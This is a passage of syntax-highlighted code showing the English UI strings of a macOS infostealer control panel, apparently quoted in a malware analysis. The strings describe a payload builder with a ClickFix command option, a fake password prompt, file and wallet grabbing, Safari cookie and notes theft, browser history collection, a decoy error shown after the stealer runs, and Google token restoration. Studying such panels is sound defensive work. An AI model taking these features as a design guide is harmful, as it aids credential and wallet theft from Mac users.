font-style: inherit;">unknownDeleteError</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Unknown error deleting proxy.`</span></span>
<span id="cb28-129">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-130">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">builder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-131">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">title</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Builder`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-132">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">requiredParams</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Required Params`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-133">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildHistory</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Recent Builds`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-134">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildType</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Build Type`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-135">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unixTypeLabel</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`unix (effective up to macOS 14)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-136">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">appTypeLabel</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`.app (effective from macOS 15 and later)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-137">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">commandTypeLabel</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Command (for Clickfix)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-138">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">pkgTypeLabel</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`pkg (Installer)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-139">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">serverAddress</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Server Address`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-140">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">serverAddressPlaceholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`e.g., http://your-server.com`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-141">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">filename</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Filename`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-142">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">icon</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Icon (.icns)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-143">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">iconPlaceholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Upload icon file (.icns)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-144">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">iconFormatError</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Icon file must be .icns format.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-145">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">fileOptions</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Background Settings (optional)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-146">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">background</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Background (optional, .png only)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-147">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">backgroundFormatError</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Background file must be .png format.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-148">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">position</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Position (optional)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-149">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">positionPlaceholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`e.g., 400 200`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-150">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">passwordDialog</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Password Dialog Configuration (optional)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-151">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">dialogTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Dialog Title`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-152">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">dialogDescription</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Dialog Description`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-153">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">passwordDialogTitleDefault</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Password Request`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-154">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">passwordDialogDescriptionDefault</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Please enter device password to continue.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-155">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">preview</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Preview`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-156">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildSectionTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Build (optional)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-157">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildId</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Build ID`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-158">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">telegram</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Telegram (optional)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-159">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">chatIdFiles</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Chat ID for files`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-160">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">chatIdNotifications</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Chat ID for notifications`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-161">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">fileGrabber</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`FileGrabber (optional)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-162">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">fileGrabberPlaceholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`FileGrabber Extensions (.txt, .pdf, .wallet etc)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-163">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">appleScript</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`AppleScript (optional)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-164">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">appleScriptPlaceholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`set somevar to "hello"</span></span>
<span id="cb28-165"><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">display dialog somevar`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-166">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">save</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Save`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-167">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">cancel</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Cancel`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-168">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">building</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Building`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-169">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildingNotification</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Building, please wait...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-170">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildingProjectTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Building Project`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-171">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildStep0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Preparing payload...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-172">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildStep1</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Uploading assets...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-173">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildStep2</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Compiling executable...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-174">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildStep3</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Signing package...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-175">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildStep4</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Finalizing build...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-176">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">attention</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Attention`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-177">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">zipPasswordInfo</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`All created ZIP archives are encrypted. Password:`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-178">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildFailedError</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Build failed. Status: {{status}}. {{errorText}}`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-179">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">invalidPositionFormat</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Invalid position format. Please use 'x y' format (e.g., 400 200).`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-180">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">invalidCommandFormat</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Received an invalid command format from the server.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-181">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildSuccess</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Build successful! Download has started.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-182">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unexpectedError</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`An unexpected error occurred during build.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-183">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">yourCommand</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Your command`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-184">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">fileGrabberOptional</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`FileGrabber (optional)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-185">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">fileGrabberTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`FileGrabber`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-186">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">fileGrabberDescription</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`FileGrabber requires user permission for file collection. Safari cookies and user notes are collected automatically, regardless of this switch.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-187">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">fileGrabberExtensions</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`FileGrabber Extensions`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-188">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">fileGrabberOn</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`FileGrabber On/Off`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-189">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">reverseNotesOn</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Reserve Notes On/Off`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-190">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">reverseNotesTooltip</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Reserve notes collection if the main one is blocked, this will include one more alert`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-191">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">browserHistoryTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Browser History Collection`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-192">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">browserHistoryOn</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Browser History On/Off`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-193">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">syntheticErrorSectionTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Setting up a Synthetic Error (optional)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-194">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">syntheticErrorOn</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Display an error after the stealer finishes running On/Off`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-195">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">syntheticErrorMessage</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Error Message`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-196">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">syntheticErrorMessagePlaceholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Your Mac does not support this application. Try reinstalling or downloading the version for your system.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-197">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">syntheticErrorDescription</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`This message will be displayed in the modal window after the stealer is running as an error text`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-198">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">selectPngBackground</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Select .png background`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-199">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">clickToSetPosition</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Click to set position`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-200">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">okButton</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`OK`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-201">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">toggle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Toggle`</span></span>
<span id="cb28-202">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-203">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">cookies</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-204">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">googleToken</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Google token`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-205">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">proxy</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Proxy`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-206">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">restore</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Restore`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-207">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">tokenPlaceholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Enter your Google token...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-208">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">proxyPlaceholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`HTTP proxy address...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-209">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">optional</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Optional`</span></span>
<span id="cb28-210">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-211">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">dashboard</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-212">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">allLogs</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`All logs`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-213">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">newLogs</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`New logs`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-214">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">uniqueLogs</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Unique logs`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-215">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">wallets</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Wallets`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-216">            <span class="dt" style="color: #AD0000;
